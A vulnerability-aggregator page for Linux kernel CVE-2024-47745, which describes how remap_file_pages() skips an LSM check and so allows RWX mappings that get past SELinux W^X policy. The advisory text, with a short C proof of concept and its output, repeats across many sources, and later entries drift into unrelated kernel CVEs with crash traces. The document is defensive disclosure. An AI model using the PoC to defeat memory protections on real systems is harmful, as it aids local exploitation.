Every CVE Search/ Get API key

CVE-2024-47745

mm: call the security_mmap_file() LSM hook in remap_file_pages()

7.8 HighFix available

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.28%Up 0.2 points since Oct 22, 2024
90%50%10%1%

What each source reports

CVE List Score used 7.8

mm: call the security_mmap_file() LSM hook in remap_file_pages()

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Record
CVE-2024-47745
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
EUVDEUVD-2024-42828 7.8

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Record
EUVD-2024-42828
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-qpxg-4f92-ww23 7.8

In the Linux kernel, the following vulnerability has been resolved: mm: call the...

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Record
GHSA-qpxg-4f92-ww23
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-670
Updated
2026-11-02
NVD 7.8

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Record
CVE-2024-47745
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-670
Updated
2026-11-02
OSVAZL-50713 7.8

CVE-2024-47745 affecting package kernel 5.15.200.1-1

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Record
AZL-50713
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVAZL-50975 7.8

CVE-2024-47745 affecting package kernel for versions less than 6.6.56.1-5

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Record
AZL-50975
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
Show 47 moreShow less
OSVBELL-CVE-2024-47745 7.8
Record
BELL-CVE-2024-47745
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSV 7.8

mm: call the security_mmap_file() LSM hook in remap_file_pages()

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Record
CVE-2024-47745
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVDEBIAN-CVE-2024-47745 7.8

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

Record
DEBIAN-CVE-2024-47745
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2024-2449 7.8

kernel security update

The Linux Kernel, the operating system core itself.

Security Fix(es):

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) PM: subject line tweaks

In the Linux kernel, the following vulnerability has been resolved: KVM: nSVM: Ignore nCR3[4:0] when loading PDPTEs from memory Ignore nCR3[4:0] when loading PDPTEs from memory for nested SVM, as bits 4:0 of CR3 are ignored when PAE paging is used, and thus VMRUN doesn't enforce 32-byte alignment of nCR3. In the absolute worst case scenario, failure to ignore bits 4:0 can result in an out-of-bounds read, e.g. if the target page is at the end of a memslot, and the VMM isn't using guard pages. Per the APM: The CR3 register points to the base address of the page-directory-pointer table. The page-directory-pointer table is aligned on a 32-byte boundary, with the low 5 address bits 4:0 assumed to be 0. And the SDM's much more explicit: 4:0 Ignored Note, KVM gets this right when loading PDPTRs, it's only the nSVM flow that is broken.(CVE-2024-50115)

In the Linux kernel, the following vulnerability has been resolved: drm/amd: Guard against bad data for ATIF ACPI method If a BIOS provides bad data in response to an ATIF method call this causes a NULL pointer dereference in the caller. ? show_regs (arch/x86/kernel/dumpstack.c:478 (discriminator 1)) ? __die (arch/x86/kernel/dumpstack.c:423 arch/x86/kernel/dumpstack.c:434) ? page_fault_oops (arch/x86/mm/fault.c:544 (discriminator 2) arch/x86/mm/fault.c:705 (discriminator 2)) ? do_user_addr_fault (arch/x86/mm/fault.c:440 (discriminator 1) arch/x86/mm/fault.c:1232 (discriminator 1)) ? acpi_ut_update_object_reference (drivers/acpi/acpica/utdelete.c:642) ? exc_page_fault (arch/x86/mm/fault.c:1542) ? asm_exc_page_fault (./arch/x86/include/asm/idtentry.h:623) ? amdgpu_atif_query_backlight_caps.constprop.0 (drivers/gpu/drm/amd/amdgpu/amdgpu_acpi.c:387 (discriminator 2)) amdgpu ? amdgpu_atif_query_backlight_caps.constprop.0 (drivers/gpu/drm/amd/amdgpu/amdgpu_acpi.c:386 (discriminator 1)) amdgpu It has been encountered on at least one system, so guard for it. (cherry picked from commit c9b7c809b89f24e9372a4e7f02d64c950b07fdee)(CVE-2024-50117)

In the Linux kernel, the following vulnerability has been resolved: posix-clock: Fix missing timespec64 check in pc_clock_settime() As Andrew pointed out, it will make sense that the PTP core checked timespec64 struct's…

Record
OESA-2024-2449
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2024-2491 7.8

kernel security update

The Linux Kernel, the operating system core itself.

Security Fix(es):

In the Linux kernel, the following vulnerability has been resolved: xen-netfront: Fix NULL sring after live migration A NAPI is setup for each network sring to poll data to kernel The sring with source host is destroyed before live migration and new sring with target host is setup after live migration. The NAPI for the old sring is not deleted until setup new sring with target host after migration. With busy_poll/busy_read enabled, the NAPI can be polled before got deleted when resume VM. BUG: unable to handle kernel NULL pointer dereference at 0000000000000008 IP: xennet_poll+0xae/0xd20 PGD 0 P4D 0 Oops: 0000 [#1] SMP PTI Call Trace: finish_task_switch+0x71/0x230 timerqueue_del+0x1d/0x40 hrtimer_try_to_cancel+0xb5/0x110 xennet_alloc_rx_buffers+0x2a0/0x2a0 napi_busy_loop+0xdb/0x270 sock_poll+0x87/0x90 do_sys_poll+0x26f/0x580 tracing_map_insert+0x1d4/0x2f0 event_hist_trigger+0x14a/0x260 finish_task_switch+0x71/0x230 __schedule+0x256/0x890 recalc_sigpending+0x1b/0x50 xen_sched_clock+0x15/0x20 __rb_reserve_next+0x12d/0x140 ring_buffer_lock_reserve+0x123/0x3d0 event_triggers_call+0x87/0xb0 trace_event_buffer_commit+0x1c4/0x210 xen_clocksource_get_cycles+0x15/0x20 ktime_get_ts64+0x51/0xf0 SyS_ppoll+0x160/0x1a0 SyS_ppoll+0x160/0x1a0 do_syscall_64+0x73/0x130 entry_SYSCALL_64_after_hwframe+0x41/0xa6 ... RIP: xennet_poll+0xae/0xd20 RSP: ffffb4f041933900 CR2: 0000000000000008 ---[ end trace f8601785b354351c ]--- xen frontend should remove the NAPIs for the old srings before live migration as the bond srings are destroyed There is a tiny window between the srings are set to NULL and the NAPIs are disabled, It is safe as the NAPI threads are still frozen at that time(CVE-2022-48969)

In the Linux kernel, the following vulnerability has been resolved:

bonding: stop the device in bond_setup_by_slave()

Commit 9eed321cde22 ("net: lapbether: only support ethernet devices") has been able to keep syzbot away from net/lapb, until today.

In the following splat [1], the issue is that a lapbether device has been created on a bonding device without members. Then adding a non ARPHRD_ETHER member forced the bonding master to change its type.

The fix is to make sure we call dev_close() in bond_setup_by_slave() so that the potential linked lapbether devices (or any other devices having assumptions on the physical device) are removed.

A similar bug has been addressed in commit 40baec225765 ("bonding: fix panic on non-ARPHRD_ETHER enslave failure")

[1] skbuff: skb_under_panic: text:ffff800089508810 len:44 put:40 head:ffff0000c78e7c00 data:ffff0000c78e7bea tail:0x16 end:0x140 dev:bond0 kernel BUG at net/core/skbuff.c:192 ! Internal error: Oops - BUG: 00000000f2000800 [#1] PREEMPT SMP Modules linked in: CPU: 0 PID: 6007 Comm: syz-executor383 Not tainted 6.6.0-rc3-syzkaller-gbf6547d8715b #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/04/2023 pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : skb_panic net/core/skbuff.c:188 [inline] pc : skb_under_panic+0x13c/0x140 net/core/skbuff.c:202 lr : skb_panic net/core/skbuff.c:188 [inline] lr : skb_under_panic+0x13c/0x140 net/core/skbuff.c:202 sp : ffff800096a06aa0 x29: ffff800096a06ab0 x28: ffff800096a06ba0 x27: dfff800000000000 x26: ffff0000ce9b9b50 x25: 0000000000000016 x24: ffff0000c78e7bea x23: ffff0000c78e7c00 x22: 000000000000002c x21: 0000000000000140 x20: 0000000000000028 x19: ffff800089508810 x18: ffff800096a06100 x17: 0000000000000000 x16: ffff80008a629a3c x15: 0000000000000001 x14: 1fffe00036837a32 x13: 0000000000000000 x12: 0000000000000000 x11: 0000000000000201 x10: 0000000000000000 x9 : cb50b496c519aa00 x8 : cb50b496c519aa00 x7 : 0000000000000001 x6 : 0000000000000001 x5 : ffff800096a063b8 x4 : ffff80008e280f80 x3 : ffff8000805ad11c x2 : 0000000000000001 x1 : 0000000100000201 x0 : 0000000000000086 Call…

Record
OESA-2024-2491
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2024-2492 7.8

kernel security update

The Linux Kernel, the operating system core itself.

Security Fix(es):

In the Linux kernel, the following vulnerability has been resolved: bpf: support non-r10 register spill/fill to/from stack in precision tracking Use instruction (jump) history to record instructions that performed register spill/fill to/from stack, regardless if this was done through read-only r10 register, or any other register after copying r10 into it and potentially adjusting offset. To make this work reliably, we push extra per-instruction flags into instruction history, encoding stack slot index (spi) and stack frame number in extra 10 bit flags we take away from prev_idx in instruction history. We don't touch idx field for maximum performance, as it's checked most frequently during backtracking. This change removes basically the last remaining practical limitation of precision backtracking logic in BPF verifier. It fixes known deficiencies, but also opens up new opportunities to reduce number of verified states, explored in the subsequent patches. There are only three differences in selftests' BPF object files according to veristat, all in the positive direction (less states). File Program Insns (A) Insns (B) Insns (DIFF) States (A) States (B) States (DIFF) -------------------------------------- ------------- --------- --------- ------------- ---------- ---------- ------------- test_cls_redirect_dynptr.bpf.linked3.o cls_redirect 2987 2864 -123 (-4.12%) 240 231 -9 (-3.75%) xdp_synproxy_kern.bpf.linked3.o syncookie_tc 82848 82661 -187 (-0.23%) 5107 5073 -34 (-0.67%) xdp_synproxy_kern.bpf.linked3.o syncookie_xdp 85116 84964 -152 (-0.18%) 5162 5130 -32 (-0.62%) Note, I avoided renaming jmp_history to more generic insn_hist to minimize number of lines changed and potential merge conflicts between bpf and bpf-next trees. Notice also cur_hist_entry pointer reset to NULL at the beginning of instruction verification loop. This pointer avoids the problem of relying on last jump history entry's insn_idx to determine whether we already have entry for current instruction or not. It can happen that we added jump history entry because current instruction is_jmp_point(), but also we need to add instruction flags for stack access. In this case, we don't want to entries, so we need to reuse last added entry, if it is present. Relying on insn_idx comparison has the same ambiguity problem as the one that was fixed recently in [0], so we avoid that. [0] https://patchwork.kernel.org/project/netdevbpf/patch/[email protected]/(CVE-2023-52920)

In the Linux kernel, the following vulnerability has been resolved:

mptcp: pm: only mark 'subflow' endp as available

Adding the following warning ...

WARN_ON_ONCE(msk->pm.local_addr_used == 0)

... before decrementing the local_addr_used counter helped to find a bug when running the "remove single address" subtest from the mptcp_join.sh selftests.

Removing a 'signal' endpoint will trigger the removal of all subflows linked to this endpoint via mptcp_pm_nl_rm_addr_or_subflow() with rm_type == MPTCP_MIB_RMSUBFLOW. This will decrement the local_addr_used counter, which is wrong in this case because this counter is linked to 'subflow' endpoints, and here it is a 'signal' endpoint that is being removed.

Now, the counter is decremented, only if the ID is being used outside of mptcp_pm_nl_rm_addr_or_subflow(), only for 'subflow' endpoints, and if the ID is not 0 -- local_addr_used is not taking into account these ones. This marking of the ID as being available, and the decrement is done no matter if a subflow using this ID is currently available, because the subflow could have been closed before.(CVE-2024-45010)

In the Linux…

Record
OESA-2024-2492
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2024-2493 7.8

kernel security update

The Linux Kernel, the operating system core itself.

Security Fix(es):

In the Linux kernel, the following vulnerability has been resolved:

net: missing check virtio

Two missing check in virtio_net_hdr_to_skb() allowed syzbot to crash kernels again

  1. After the skb_segment function the buffer may become non-linear (nr_frags != 0), but since the SKBTX_SHARED_FRAG flag is not set anywhere the __skb_linearize function will not be executed, then the buffer will remain non-linear. Then the condition (offset >= skb_headlen(skb)) becomes true, which causes WARN_ON_ONCE in skb_checksum_help.

  2. The struct sk_buff and struct virtio_net_hdr members must be mathematically related. (gso_size) must be greater than (needed) otherwise WARN_ON_ONCE. (remainder) must be greater than (needed) otherwise WARN_ON_ONCE. (remainder) may be 0 if division is without remainder.

offset+2 (4191) > skb_headlen() (1116) WARNING: CPU: 1 PID: 5084 at net/core/dev.c:3303 skb_checksum_help+0x5e2/0x740 net/core/dev.c:3303 Modules linked in: CPU: 1 PID: 5084 Comm: syz-executor336 Not tainted 6.7.0-rc3-syzkaller-00014-gdf60cee26a2e #0 Hardware name: Google Compute Engine/Google Compute Engine, BIOS Google 11/10/2023 RIP: 0010:skb_checksum_help+0x5e2/0x740 net/core/dev.c:3303 Code: 89 e8 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 52 01 00 00 44 89 e2 2b 53 74 4c 89 ee 48 c7 c7 40 57 e9 8b e8 af 8f dd f8 90 <0f> 0b 90 90 e9 87 fe ff ff e8 40 0f 6e f9 e9 4b fa ff ff 48 89 ef RSP: 0018:ffffc90003a9f338 EFLAGS: 00010286 RAX: 0000000000000000 RBX: ffff888025125780 RCX: ffffffff814db209 RDX: ffff888015393b80 RSI: ffffffff814db216 RDI: 0000000000000001 RBP: ffff8880251257f4 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000001 R12: 000000000000045c R13: 000000000000105f R14: ffff8880251257f0 R15: 000000000000105d FS: 0000555555c24380(0000) GS:ffff8880b9900000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000002000f000 CR3: 0000000023151000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> ip_do_fragment+0xa1b/0x18b0 net/ipv4/ip_output.c:777 ip_fragment.constprop.0+0x161/0x230 net/ipv4/ip_output.c:584 ip_finish_output_gso net/ipv4/ip_output.c:286 [inline] __ip_finish_output net/ipv4/ip_output.c:308 [inline] __ip_finish_output+0x49c/0x650 net/ipv4/ip_output.c:295 ip_finish_output+0x31/0x310 net/ipv4/ip_output.c:323 NF_HOOK_COND include/linux/netfilter.h:303 [inline] ip_output+0x13b/0x2a0 net/ipv4/ip_output.c:433 dst_output include/net/dst.h:451 [inline] ip_local_out+0xaf/0x1a0 net/ipv4/ip_output.c:129 iptunnel_xmit+0x5b4/0x9b0 net/ipv4/ip_tunnel_core.c:82 ipip6_tunnel_xmit net/ipv6/sit.c:1034 [inline] sit_tunnel_xmit+0xed2/0x28f0 net/ipv6/sit.c:1076 __netdev_start_xmit include/linux/netdevice.h:4940 [inline] netdev_start_xmit include/linux/netdevice.h:4954 [inline] xmit_one net/core/dev.c:3545 [inline] dev_hard_start_xmit+0x13d/0x6d0 net/core/dev.c:3561 __dev_queue_xmit+0x7c1/0x3d60 net/core/dev.c:4346 dev_queue_xmit include/linux/netdevice.h:3134 [inline] packet_xmit+0x257/0x380 net/packet/af_packet.c:276 packet_snd net/packet/af_packet.c:3087 [inline] packet_sendmsg+0x24ca/0x5240 net/packet/af_packet.c:3119 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0xd5/0x180 net/socket.c:745 __sys_sendto+0x255/0x340 net/socket.c:2190 __do_sys_sendto net/socket.c:2202 [inline] __se_sys_sendto net/socket.c:2198 [inline] __x64_sys_sendto+0xe0/0x1b0 net/socket.c:2198 do_syscall_x64 arch/x86/entry/common.c:51 [inline] 